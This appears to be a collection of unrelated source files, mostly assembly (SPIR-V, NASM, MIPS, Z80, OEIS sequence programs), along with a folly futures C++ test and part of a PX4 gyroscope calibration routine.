%126 = OpLoad %8 %125 %127 = OpConvertSToF %115 %126 %128 = OpAccessChain %26 %25 %11 %11 %129 = OpLoad %8 %128 %130 = OpConvertSToF %115 %129 %131 = OpCompositeConstruct %116 %121 %124 %127 %130 OpStore %118 %131 %134 = OpAccessChain %26 %25 %11 %11 %135 = OpLoad %8 %134 %136 = OpSNegate %8 %135 %137 = OpAccessChain %26 %25 %11 %17 %138 = OpLoad %8 %137 %139 = OpAccessChain %26 %25 %11 %11 %140 = OpLoad %8 %139 %141 = OpAccessChain %26 %25 %11 %11 %142 = OpLoad %8 %141 %143 = OpAccessChain %26 %25 %11 %11 %144 = OpLoad %8 %143 %145 = OpCompositeConstruct %14 %136 %138 %140 %142 %144 OpStore %133 %145 %147 = OpAccessChain %26 %25 %11 %17 %148 = OpLoad %8 %147 OpStore %146 %148 OpBranch %149 %149 = OpLabel OpLoopMerge %151 %152 None OpBranch %153 %153 = OpLabel %154 = OpLoad %8 %146 %156 = OpAccessChain %26 %25 %11 %155 %157 = OpLoad %8 %156 %158 = OpSLessThan %37 %154 %157 OpBranchConditional %158 %150 %151 %150 = OpLabel %159 = OpLoad %8 %146 %160 = OpAccessChain %9 %16 %159 %161 = OpLoad %8 %160 %162 = OpLoad %8 %146 %163 = OpAccessChain %19 %133 %162 %164 = OpLoad %8 %163 %165 = OpINotEqual %37 %161 %164 OpSelectionMerge %167 None OpBranchConditional %165 %166 %167 %166 = OpLabel %168 = OpAccessChain %26 %25 %11 %17 %169 = OpLoad %8 %168 %170 = OpConvertSToF %115 %169 %171 = OpCompositeConstruct %116 %170 %170 %170 %170 OpStore %118 %171 OpBranch %167 %167 = OpLabel OpBranch %152 %152 = OpLabel %172 = OpLoad %8 %146 %173 = OpIAdd %8 %172 %17 OpStore %146 %173 OpBranch %149 %151 = OpLabel OpReturn OpFunctionEnd %6 = OpFunction %2 None %3 %7 = OpLabel %20 = OpVariable %19 Function %29 = OpVariable %19 Function %48 = OpVariable %19 Function %51 = OpVariable %19 Function %27 = OpAccessChain %26 %25 %11 %17 %28 = OpLoad %8 %27 OpStore %20 %28 OpStore %29 %11 OpBranch %30 %30 = OpLabel OpLoopMerge %32 %33 None OpBranch %34 %34 = OpLabel %35 = OpLoad %8 %10 %38 = OpSLessThan %37 %35 %36 OpBranchConditional %38 %31 %32 %31 = OpLabel %39 = OpLoad %8 %10 %40 = OpIAdd %8 %39 %17 OpStore %10 %40 %41 = OpLoad %8 %20 %42 = OpIAdd %8 %41 %17 OpStore %20 %42 %44 = OpSGreaterThan %37 %42 %43 OpSelectionMerge %46 None OpBranchConditional %44 %45 %46 %45 = OpLabel OpBranch %32 %46 = OpLabel %49 = OpAccessChain %26 %25 %11 %17 %50 = OpLoad %8 %49 OpStore %48 %50 %52 = OpAccessChain %26 %25 %11 %17 %53 = OpLoad %8 %52 OpStore %51 %53 OpBranch %54 %54 = OpLabel OpLoopMerge %56 %57 None OpBranch %58 %58 = OpLabel %59 = OpLoad %8 %10 %60 = OpSLessThan %37 %59 %36 OpBranchConditional %60 %55 %56 %55 = OpLabel %61 = OpLoad %8 %10 %62 = OpIAdd %8 %61 %17 OpStore %10 %62 %63 = OpLoad %8 %48 %64 = OpIAdd %8 %63 %17 OpStore %48 %64 %65 = OpAccessChain %26 %25 %11 %43 %66 = OpLoad %8 %65 %67 = OpSGreaterThan %37 %64 %66 OpSelectionMerge %69 None OpBranchConditional %67 %68 %69 %68 = OpLabel OpBranch %56 %69 = OpLabel %71 = OpLoad %8 %51 %72 = OpLoad %8 %29 %73 = OpIAdd %8 %71 %72 %74 = OpLoad %8 %29 %75 = OpISub %8 %74 %17 %76 = OpAccessChain %9 %16 %73 OpStore %76 %75 OpBranch %57 %57 = OpLabel OpBranch %54 %56 = OpLabel OpBranch %33 %33 = OpLabel %77 = OpLoad %8 %29 %78 = OpIAdd %8 %77 %17 OpStore %29 %78 OpBranch %30 %32 = OpLabel OpReturn OpFunctionEnd
segment .data MsgError db "se produjo un error",0xA,0xD ;mensaje en caso de existir ; un error al crear el archivo los numeros hexadecimales son ; equivalentes a los numeros decimales 10 y 13 los cuales ; permiten el salto de linea lon equ $ -MsgError MsgExito db "archivo creado con exito",0xA,0xD lonexito equ $ -MsgExito archivo db "/home/neomatrix/codigo ensamblador/prueba.txt",0 ; ubicacion en el sistema de archivos del archivo a crear y ; y su nombre (prueba.txt), se usa el 0 como indicador ; de fin de cadena segment .bss idarchivo resd 1 segment .text global _start _start: ; creamos y abrimos el archivo mov eax,8 ; indicamos que crearemos un archivo nuevo mov ebx,archivo ; indicamos la ruta y el nombre del archivo mov ecx,640q ; establecemos los permisos del archivo en el ; formato de permisos de linux (octal) ; lectura = 4 ; escritura = 2 (solo para el propietario) ; ejecucion = 1 int 80h cmp eax,0 ; el descriptor de archivo es un numero entero ; no negativo jl error ; de ser negativo ha ocurrido un error mov dword[idarchivo] , eax ; guardamos el descriptor del archivo ; en memoria, para su uso posterior mov eax, 4 mov ebx, 1 mov ecx, MsgExito mov edx, lonexito int 80h ;cierre del archivo mov eax, 6 mov ebx, [idarchivo] ; pasamos el descriptor de archivo int 80h jmp salir error: ; Mostramos el mensaje de error mov eax, 4 mov ebx, 1 mov ecx, MsgError mov edx, lon int 80h salir: mov eax, 1 xor ebx,ebx int 0x80
; A070850: Smallest prime == 1 mod (6n). ; 7,13,19,73,31,37,43,97,109,61,67,73,79,337,181,97,103,109,229,241,127,397,139,433,151,157,163,337,349,181,373,193,199,409,211,433,223,229,937,241,739,757,1033,1321,271,277,283,577,883,601,307,313,3181,1297 mul $0,6 add $0,5 seq $0,34694 ; Smallest prime == 1 (mod n).
%ifdef CONFIG { "RegData": { "XMM0": ["0xFFFFFFFFFFFFFFFF", "0x0"], "XMM1": ["0xFFFFFFFFFFFFFFFF", "0x0"], "XMM2": ["0x6162636465666768", "0x5152535455565758"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x7172737475767778 mov [rdx + 8 * 0], rax mov rax, 0x4142434445464748 mov [rdx + 8 * 1], rax mov rax, 0x6162636465666768 mov [rdx + 8 * 2], rax mov rax, 0x5152535455565758 mov [rdx + 8 * 3], rax movapd xmm0, [rdx] pcmpgtd xmm0, [rdx + 8 * 2] movapd xmm1, [rdx] movapd xmm2, [rdx + 8 * 2] pcmpgtd xmm1, xmm2 hlt
; A047516: Numbers that are congruent to {1, 3, 4, 6, 7} mod 8. ; 1,3,4,6,7,9,11,12,14,15,17,19,20,22,23,25,27,28,30,31,33,35,36,38,39,41,43,44,46,47,49,51,52,54,55,57,59,60,62,63,65,67,68,70,71,73,75,76,78,79,81,83,84,86,87,89,91,92,94,95,97,99,100,102,103,105,107,108,110,111,113,115,116,118,119,121,123,124,126,127,129,131,132,134,135,137,139,140,142,143,145,147,148,150,151,153,155,156,158,159,161,163,164,166,167,169,171,172,174,175,177,179,180,182,183,185,187,188,190,191,193,195,196,198,199,201,203,204,206,207,209,211,212,214,215,217,219,220,222,223,225,227,228,230,231,233,235,236,238,239,241,243,244,246,247,249,251,252,254,255,257,259,260,262,263,265,267,268,270,271,273,275,276,278,279,281,283,284,286,287,289,291,292,294,295,297,299,300,302,303,305,307,308,310,311,313,315,316,318,319,321,323,324,326,327,329,331,332,334,335,337,339,340,342,343,345,347,348,350,351,353,355,356,358,359,361,363,364,366,367,369,371,372,374,375,377,379,380,382,383,385,387,388,390,391,393,395,396,398,399 mov $1,$0 mul $1,8 add $1,7 div $1,5
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Color Library FILE: UI/uiManager.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 7/91 Initial version DESCRIPTION: $Id: uiManager.asm,v 1.2 98/05/08 20:22:16 gene Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ include colorGeode.def ;--- DefLib Objects/colorC.def include Internal/prodFeatures.def ;---------------------------------------------------------------------- ; This part is to set some particular flags for the Jedi project. ;---------------------------------------------------------------------- _JEDI = FALSE ;------------------------------------------------------------------------------ ; Resource definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ if not NO_CONTROLLERS ; ; if NO_CONTROLLERS, there is no resource left in ui files. ; -- kho, July 19. 1995 ; include uiManager.rdef endif ; if (not NO_CONTROLLERS) and (not _JEDI) ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ include uiColor.asm include uiOtherColor.asm
; Hello World for Intel Assembler (MSDOS) mov ax,cs mov ds,ax mov ah,9 mov dx, offset Hello int 21h xor ax,ax int 21h Hello: db "Hello World!",13,10,"$"
; A212427: a(n) = 17*n + A000217(n-1). ; 0,17,35,54,74,95,117,140,164,189,215,242,270,299,329,360,392,425,459,494,530,567,605,644,684,725,767,810,854,899,945,992,1040,1089,1139,1190,1242,1295,1349,1404,1460,1517,1575,1634,1694,1755,1817,1880,1944,2009 mov $1,$0 add $1,33 mul $0,$1 div $0,2
; A010936: Binomial coefficient C(20,n). ; 1,20,190,1140,4845,15504,38760,77520,125970,167960,184756,167960,125970,77520,38760,15504,4845,1140,190,20,1 mov $1,20 bin $1,$0
# file: lexer.asm .globl lex_init .globl lex_advance .globl lex_skip_whitespace .globl lex_integer .globl lex_get_next_token .include "macros.asm" # define token types .eqv TOK_EOF 0 .eqv TOK_INTEGER 1 .eqv TOK_PLUS 2 .eqv TOK_MINUS 3 .eqv TOK_MUL 4 .eqv TOK_DIV 5 .eqv TOK_EXP 6 .eqv TOK_LPAREN 7 .eqv TOK_RPAREN 8 .data # class data invalid_char: .asciiz "Invalid Character!" .align 2 input_text: .space 4 # pointer to input text input_len: .space 1 cur_char: .space 1 # current char lexer is examining cur_pos: .space 1 # temporary string for converting digits to int in lex_integer lex_int_str: .space 64 .text # method: lex_init # init an instance of the lexer object by populating global variables # arguments: # $a0 - location of input string # return: # $v0 - current char lex_init: push($ra) # store location of input text sw $a0, input_text # set cur_pos = 0 sb $zero, cur_pos # set cur_char = input_string[0] lbu $t1, 0($a0) sb $t1, cur_char # set the length of the input text jal str_len sb $v0, input_len la $v0, cur_char lbu $v0, 0($v0) return() # method: advance # advance pointer to next character in input string # arguments: # implicit: location of input_text, cur_char, cur_pos, len of input string # return: # $v0 - new cur_char, implicity modify value of cur_char, cur_pos lex_advance: push($ra) # incremnt cur_pos la $t0, cur_pos # load address of cur_pos into $t0 lbu $t1, 0($t0) # load value of cur_pos into $t1 inc($t1) # increment cur_pos sb $t1, 0($t0) # store cur_pos at address of cur_pos # if current pos is less than length, get next char la $t2, input_len # load address of length of input string lbu $t2, 0($t2) # load length of input string blt $t1, $t2, adv_not_eoi # if cur_pos is less than length of string j adv_eoi # else jump to end of input adv_not_eoi: # not end of input # set cur_char = input_text[cur_pos] lw $t4, input_text add $t1, $t1, $t4 lbu $t3, 0($t1) sb $t3, cur_char move $v0, $t3 return() adv_eoi: li $t3, 0 sb $t3, cur_char move $v0, $t3 return() # method: skip_whitespace # advance the cur_pos pointer over whitespace characters # arguments: # implicit: location of cur_char, cur_pos, len of input string # return: # $v0 - new cur_char, implicity modify value of cur_char, cur_pos lex_skip_whitespace: push($ra) push($s1) # cur_char push($s2) # null character la $s2, null_char # copy value of null char lbu $s2, 0($s2) lex_skip_whitespace_loop: # check if cur_char is null la $s1, cur_char lbu $s1, 0($s1) # if not, check if it's whitespace bne $s1, $s2, lex_skip_whitespace_not_null # if it is null, end function j lex_skip_whitespace_end lex_skip_whitespace_not_null: la $a0, cur_char jal is_white # check if current character is whitespace beqz $v0, lex_skip_whitespace_end # if it isn't whitespace, end jal lex_advance # if it is whitespace, advance to next character j lex_skip_whitespace_loop # go back to top of loop lex_skip_whitespace_end: move $v0, $s1 pop($s2) pop($s1) return() # method: integer # parse a string of digits in input text into an integer # arguments: # $a0 - location of input text string # implicit: location of cur_char, cur_pos, len of input string # return: # $v0 - next integer value in input text # $v1 - number of characters making up integer lex_integer: push($ra) push($s1) # local var for holding null push($s2) # local var for holding address of temp string local_var($s3, $zero) # local var for holding loop counter la $s1, null_char # load null character into $s0 lbu $s1, 0($s1) la $s2, lex_int_str add $t0, $zero, $zero # 0 out look counter lex_integer_L1: # loop for nulling out temp string add $t1, $t0, $s2 # address of current char in tmp string lbu $t2, 0($t1) # value of current char in tmp string # check if current char is null beq $t2, $s1, lex_integer_L2 # if it is, exit loop and go to second sb $s1, 0($t1) # if not, set that byte equl to null inc($t0) # increment loop counter j lex_integer_L1 # jump to top of loop lex_integer_L2: # loop for accumulating digits into tmp string # check if current character is null la $a0, cur_char lbu $t0, 0($a0) bne $t0, $s1, lex_integer_not_null j lex_integer_end lex_integer_not_null: # $a0 alread set to address of cur_char from above jal is_digit # check if current character is a digit beqz $v0, lex_integer_end # if it is not a digit, end function # if it is a digit, copy digit to temp string la $t0, cur_char lbu $t0, 0($t0) # add base address of string and loop counter to get address of cur char add $t1, $s2, $s3 sb $t0, 0($t1) # advance the lexer forward one character jal lex_advance inc($s3) # increment loop counter j lex_integer_L2 # jump back to top of loop lex_integer_end: la $a0, lex_int_str jal atoi # convert string to integer (returns value in $v0) pop($s3) pop($s2) pop($s1) return() # method: get_next_token # get the next token from the input string # arguments: # implicit: location of cur_char # return: # $v0 - token type # $v1 - value of token. If integer token, value will be int, otherwise, value will be a symbol lex_get_next_token: push($ra) push($s1) # local var to hold current char push($s2) # local var to hold value of null character la $s2, null_char lbu $s2, 0($s2) lex_get_next_token_top: # load in current character la $s1, cur_char lbu $s1, 0($s1) # check if it's null beq $s1, $s2, lex_get_next_token_null # if it is, return EOF token # if not, check if whitespace: la $a0, cur_char jal is_white beq $v0, 1, lex_get_next_token_white # if it is, skip whitespace and jump back to top # check if current char is digit la $a0, cur_char jal is_digit beq $v0, 1, lex_get_next_token_int # if it is, parse an integer # check if current char is '+' beq $s1, 43, lex_get_next_token_plus beq $s1, 45, lex_get_next_token_minus beq $s1, 42, lex_get_next_token_mul beq $s1, 47, lex_get_next_token_div beq $s1, 94, lex_get_next_token_exp beq $s1, 40, lex_get_next_token_lparen beq $s1, 41, lex_get_next_token_rparen # TODO: throw and exception and return to input loop print_stringnl(invalid_char) exit() lex_get_next_token_white: jal lex_skip_whitespace j lex_get_next_token_top lex_get_next_token_int: jal lex_integer li $t0, TOK_INTEGER move $t1, $v0 j lex_get_next_token_end # ldi the literal token value (ascii value) instead of moving it from $s1, just to be sure lex_get_next_token_plus: jal lex_advance li $t0, TOK_PLUS move $t1, $s1 j lex_get_next_token_end lex_get_next_token_minus: jal lex_advance li $t0, TOK_MINUS move $t1, $s1 j lex_get_next_token_end lex_get_next_token_mul: jal lex_advance li $t0, TOK_MUL move $t1, $s1 j lex_get_next_token_end lex_get_next_token_div: jal lex_advance li $t0, TOK_DIV move $t1, $s1 j lex_get_next_token_end lex_get_next_token_exp: jal lex_advance li $t0, TOK_EXP move $t1, $s1 j lex_get_next_token_end lex_get_next_token_lparen: jal lex_advance li $t0, TOK_LPAREN move $t1, $s1 j lex_get_next_token_end lex_get_next_token_rparen: jal lex_advance li $t0, TOK_RPAREN move $t1, $s1 j lex_get_next_token_end lex_get_next_token_null: li $t0, TOK_EOF li $t1, 0 lex_get_next_token_end: move $v0, $t0 move $v1, $t1 pop($s2) pop($s1) return()
/* * Copyright (c) Facebook, Inc. and its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <folly/futures/Future.h> #include <thread> #include <folly/futures/test/TestExecutor.h> #include <folly/portability/GTest.h> using namespace folly; namespace { /*** * The basic premise is to check that the callback passed to then or thenError * is destructed before wait returns on the resulting future. * * The approach is to use callbacks where the destructor sleeps 500ms and then * mutates a counter allocated on the caller stack. The caller checks the * counter immediately after calling wait. Were the callback not destructed * before wait returns, then we would very likely see an unchanged counter just * after wait returns. But if, as we expect, the callback were destructed * before wait returns, then we must be guaranteed to see a mutated counter * just after wait returns. * * Note that the failure condition is not strictly guaranteed under load. :( */ class CallbackLifetimeTest : public testing::Test { public: using CounterPtr = std::unique_ptr<size_t>; static bool kRaiseWillThrow() { return true; } static constexpr auto kDelay() { return std::chrono::milliseconds(500); } auto mkC() { return std::make_unique<size_t>(0); } auto mkCGuard(CounterPtr& ptr) { return makeGuard([&] { /* sleep override */ std::this_thread::sleep_for(kDelay()); ++*ptr; }); } static void raise(folly::Unit = folly::Unit{}) { if (kRaiseWillThrow()) { // to avoid marking [[noreturn]] throw std::runtime_error("raise"); } } static Future<Unit> raiseFut() { raise(); return makeFuture(); } TestExecutor executor{2}; // need at least 2 threads for internal futures }; } // namespace TEST_F(CallbackLifetimeTest, thenReturnsValue) { auto c = mkC(); via(&executor).thenValue([_ = mkCGuard(c)](auto&&) {}).wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenReturnsValueThrows) { auto c = mkC(); via(&executor).thenValue([_ = mkCGuard(c)](auto&&) { raise(); }).wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenReturnsFuture) { auto c = mkC(); via(&executor) .thenValue([_ = mkCGuard(c)](auto&&) { return makeFuture(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenReturnsFutureThrows) { auto c = mkC(); via(&executor) .thenValue([_ = mkCGuard(c)](auto&&) { return raiseFut(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsValueMatch) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError(folly::tag_t<std::exception>{}, [_ = mkCGuard(c)](auto&&) {}) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsValueMatchThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::exception>{}, [_ = mkCGuard(c)](auto&&) { raise(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsValueWrong) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError(folly::tag_t<std::logic_error>{}, [_ = mkCGuard(c)](auto&&) {}) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsValueWrongThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::logic_error>{}, [_ = mkCGuard(c)](auto&&) { raise(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsFutureMatch) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::exception>{}, [_ = mkCGuard(c)](auto&&) { return makeFuture(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsFutureMatchThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::exception>{}, [_ = mkCGuard(c)](auto&&) { return raiseFut(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsFutureWrong) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::logic_error>{}, [_ = mkCGuard(c)](auto&&) { return makeFuture(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesExnReturnsFutureWrongThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( folly::tag_t<std::logic_error>{}, [_ = mkCGuard(c)](auto&&) { return raiseFut(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesWrapReturnsValue) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError([_ = mkCGuard(c)](exception_wrapper&&) {}) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesWrapReturnsValueThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError([_ = mkCGuard(c)](exception_wrapper&&) { raise(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesWrapReturnsFuture) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError( [_ = mkCGuard(c)](exception_wrapper&&) { return makeFuture(); }) .wait(); EXPECT_EQ(1, *c); } TEST_F(CallbackLifetimeTest, thenErrorTakesWrapReturnsFutureThrows) { auto c = mkC(); via(&executor) .thenValue(raise) .thenError([_ = mkCGuard(c)](exception_wrapper&&) { return raiseFut(); }) .wait(); EXPECT_EQ(1, *c); }
; ; ZX81 libraries ; ; $Id: zx_break.asm,v 1.3 2015/01/19 01:33:26 pauloscustodio Exp $ ; ;---------------------------------------------------------------- ; ; Check if the CAPS-SPACE (BREAK) key is being pressed ; ( 1 = pressed; 0 = not pressed ) ; ;---------------------------------------------------------------- PUBLIC zx_break zx_break: call $f46 ; BREAK-1 ld hl,0 ; assume break is not pressed ret c inc l ret
; void *_falloc__unlocked(void *p, size_t size) SECTION code_alloc_malloc PUBLIC _falloc__unlocked_callee _falloc__unlocked_callee: pop af pop hl pop bc push af INCLUDE "alloc/malloc/z80/asm__falloc_unlocked.asm"
; A344150: Length of the n-th word in A342910. ; 1,1,2,2,2,3,3,2,3,4,3,4,3,3,4,5,3,4,5,4,4,4,4,5,6,3,4,5,4,6,5,5,5,5,4,5,6,5,7,4,4,5,6,4,5,7,5,6,6,6,6,6,4,5,6,5,7,6,6,8,5,5,5,6,5,7,5,5,6,8,5,6,7,6,7,7,7,7,7,4,5,6,5,7,6,6 lpb $0 mov $2,$0 sub $0,1 seq $2,151842 ; a(3n)=n, a(3n+1)=2n+1, a(3n+2)=n+1. sub $0,$2 mov $3,$2 min $3,1 add $1,$3 lpe add $1,1 mov $0,$1
/**************************************************************************** * * Copyright (c) 2013-2017 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /** * @file gyro_calibration.cpp * * Gyroscope calibration routine */ #include <px4_config.h> #include "gyro_calibration.h" #include "calibration_messages.h" #include "calibration_routines.h" #include "commander_helper.h" #include <px4_posix.h> #include <px4_defines.h> #include <px4_time.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <poll.h> #include <cmath> #include <string.h> #include <drivers/drv_hrt.h> #include <uORB/topics/sensor_combined.h> #include <uORB/topics/sensor_correction.h> #include <drivers/drv_gyro.h> #include <systemlib/mavlink_log.h> #include <systemlib/param/param.h> #include <systemlib/err.h> static const char *sensor_name = "gyro"; static const unsigned max_gyros = 3; /// Data passed to calibration worker routine typedef struct { orb_advert_t *mavlink_log_pub; int32_t device_id[max_gyros]; int gyro_sensor_sub[max_gyros]; int sensor_correction_sub; struct gyro_calibration_s gyro_scale[max_gyros]; struct gyro_report gyro_report_0; } gyro_worker_data_t; static calibrate_return gyro_calibration_worker(int cancel_sub, void* data) { gyro_worker_data_t* worker_data = (gyro_worker_data_t*)(data); unsigned calibration_counter[max_gyros] = { 0 }, slow_count = 0; const unsigned calibration_count = 5000; struct gyro_report gyro_report; unsigned poll_errcount = 0; struct sensor_correction_s sensor_correction; /**< sensor thermal corrections */ if (orb_copy(ORB_ID(sensor_correction), worker_data->sensor_correction_sub, &sensor_correction) != 0) { /* use default values */ memset(&sensor_correction, 0, sizeof(sensor_correction)); for (unsigned i = 0; i < 3; i++) { sensor_correction.gyro_scale_0[i] = 1.0f; sensor_correction.gyro_scale_1[i] = 1.0f; sensor_correction.gyro_scale_2[i] = 1.0f; } } px4_pollfd_struct_t fds[max_gyros]; for (unsigned s = 0; s < max_gyros; s++) { fds[s].fd = worker_data->gyro_sensor_sub[s]; fds[s].events = POLLIN; } memset(&worker_data->gyro_report_0, 0, sizeof(worker_data->gyro_report_0)); /* use slowest gyro to pace, but count correctly per-gyro for statistics */ while (slow_count < calibration_count) { if (calibrate_cancel_check(worker_data->mavlink_log_pub, cancel_sub)) { return calibrate_return_cancelled; } /* check if there are new thermal corrections */ bool updated; orb_check(worker_data->sensor_correction_sub, &updated); if (updated) { orb_copy(ORB_ID(sensor_correction), worker_data->sensor_correction_sub, &sensor_correction); } int poll_ret = px4_poll(&fds[0], max_gyros, 1000); if (poll_ret > 0) { unsigned update_count = calibration_count; for (unsigned s = 0; s < max_gyros; s++) { if (calibration_counter[s] >= calibration_count) { // Skip if instance has enough samples continue; } bool changed; orb_check(worker_data->gyro_sensor_sub[s], &changed); if (changed) { orb_copy(ORB_ID(sensor_gyro), worker_data->gyro_sensor_sub[s], &gyro_report); if (s == 0) { // take a working copy worker_data->gyro_scale[s].x_offset += (gyro_report.x - sensor_correction.gyro_offset_0[0]) * sensor_correction.gyro_scale_0[0]; worker_data->gyro_scale[s].y_offset += (gyro_report.y - sensor_correction.gyro_offset_0[1]) * sensor_correction.gyro_scale_0[1]; worker_data->gyro_scale[s].z_offset += (gyro_report.z - sensor_correction.gyro_offset_0[2]) * sensor_correction.gyro_scale_0[2]; // take a reference copy of the primary sensor including correction for thermal drift orb_copy(ORB_ID(sensor_gyro), worker_data->gyro_sensor_sub[s], &worker_data->gyro_report_0); worker_data->gyro_report_0.x = (gyro_report.x - sensor_correction.gyro_offset_0[0]) * sensor_correction.gyro_scale_0[0]; worker_data->gyro_report_0.y = (gyro_report.y - sensor_correction.gyro_offset_0[1]) * sensor_correction.gyro_scale_0[1]; worker_data->gyro_report_0.z = (gyro_report.z - sensor_correction.gyro_offset_0[2]) * sensor_correction.gyro_scale_0[2]; } else if (s == 1) { worker_data->gyro_scale[s].x_offset += (gyro_report.x - sensor_correction.gyro_offset_1[0]) * sensor_correction.gyro_scale_1[0]; worker_data->gyro_scale[s].y_offset += (gyro_report.y - sensor_correction.gyro_offset_1[1]) * sensor_correction.gyro_scale_1[1]; worker_data->gyro_scale[s].z_offset += (gyro_report.z - sensor_correction.gyro_offset_1[2]) * sensor_correction.gyro_scale_1[2]; } else if (s == 2) { worker_data->gyro_scale[s].x_offset += (gyro_report.x - sensor_correction.gyro_offset_2[0]) * sensor_correction.gyro_scale_2[0]; worker_data->gyro_scale[s].y_offset += (gyro_report.y - sensor_correction.gyro_offset_2[1]) * sensor_correction.gyro_scale_2[1]; worker_data->gyro_scale[s].z_offset += (gyro_report.z - sensor_correction.gyro_offset_2[2]) * sensor_correction.gyro_scale_2[2]; } else { worker_data->gyro_scale[s].x_offset += gyro_report.x; worker_data->gyro_scale[s].y_offset += gyro_report.y; worker_data->gyro_scale[s].z_offset += gyro_report.z; } calibration_counter[s]++; } // Maintain the sample count of the slowest sensor if (calibration_counter[s] && calibration_counter[s] < update_count) { update_count = calibration_counter[s]; } } if (update_count % (calibration_count / 20) == 0) { calibration_log_info(worker_data->mavlink_log_pub, CAL_QGC_PROGRESS_MSG, (update_count * 100) / calibration_count); } // Propagate out the slowest sensor's count if (slow_count < update_count) { slow_count = update_count; } } else { poll_errcount++; } if (poll_errcount > 1000) { calibration_log_critical(worker_data->mavlink_log_pub, CAL_ERROR_SENSOR_MSG); return calibrate_return_error; } } for (unsigned s = 0; s < max_gyros; s++) { if (worker_data->device_id[s] != 0 && calibration_counter[s] < calibration_count / 2) { calibration_log_critical(worker_data->mavlink_log_pub, "[cal] ERROR: missing data, sensor %d", s) return calibrate_return_error; } worker_data->gyro_scale[s].x_offset /= calibration_counter[s]; worker_data->gyro_scale[s].y_offset /= calibration_counter[s]; worker_data->gyro_scale[s].z_offset /= calibration_counter[s]; } return calibrate_return_ok; } int do_gyro_calibration(orb_advert_t *mavlink_log_pub) { int res = PX4_OK; gyro_worker_data_t worker_data = {}; calibration_log_info(mavlink_log_pub, CAL_QGC_STARTED_MSG, sensor_name); worker_data.mavlink_log_pub = mavlink_log_pub; struct gyro_calibration_s gyro_scale_zero; gyro_scale_zero.x_offset = 0.0f; gyro_scale_zero.x_scale = 1.0f; gyro_scale_zero.y_offset = 0.0f; gyro_scale_zero.y_scale = 1.0f; gyro_scale_zero.z_offset = 0.0f; gyro_scale_zero.z_scale = 1.0f; int device_prio_max = 0; int32_t device_id_primary = 0; 